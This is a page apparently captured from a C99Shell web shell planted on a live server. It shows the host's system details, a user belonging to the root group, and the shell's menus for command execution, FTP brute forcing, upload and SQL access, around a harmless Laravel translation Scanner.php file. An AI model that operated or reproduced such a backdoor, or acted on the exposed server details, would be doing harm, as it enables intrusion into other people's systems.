!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/packages/joedixon/laravel-translation/src/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Scanner.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace JoeDixon\Translation;

use 
Illuminate\Filesystem\Filesystem;

class 
Scanner
{
    private 
$disk;

    private 
$scanPaths;

    private 
$translationMethods;

    public function 
__construct(Filesystem $disk$scanPaths$translationMethods)
    {
        
$this->disk $disk;
        
$this->scanPaths $scanPaths;
        
$this->translationMethods $translationMethods;
    }

    
/**
     * Scan all the files in the provided $scanPath for translations.
     *
     * @return array
     */
    
public function findTranslations()
    {
        
$results = ['single' => [], 'group' => []];

        
// This has been derived from a combination of the following:
        // * Laravel Language Manager GUI from Mohamed Said (https://github.com/themsaid/laravel-langman-gui)
        // * Laravel 5 Translation Manager from Barry vd. Heuvel (https://github.com/barryvdh/laravel-translation-manager)
        
$matchingPattern =
            
'[^\w]'// Must not start with any alphanum or _
            
'(?<!->)'// Must not start with ->
            
'('.implode('|'$this->translationMethods).')'// Must start with one of the functions
            
"\("// Match opening parentheses
            
"[\'\"]"// Match " or '
            
'('// Start a new group to match:
            
'.+'// Must start with group
            
')'// Close group
            
"[\'\"]"// Closing quote
            
"[\),]";  // Close parentheses or new parameter

        
foreach ($this->disk->allFiles($this->scanPaths) as $file) {
            if (
preg_match_all("/$matchingPattern/siU"$file->getContents(), $matches)) {
                foreach (
$matches[2] as $key) {
                    if (
preg_match("/(^[a-zA-Z0-9:_-]+([.][^\1)\ ]+)+$)/siU"$key$arrayMatches)) {
                        [
$file$k] = explode('.'$arrayMatches[0], 2);
                        
$results['group'][$file][$k] = '';
                        continue;
                    } else {
                        
$results['single']['single'][$key] = '';
                    }
                }
            }
        }

        return 
$results;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--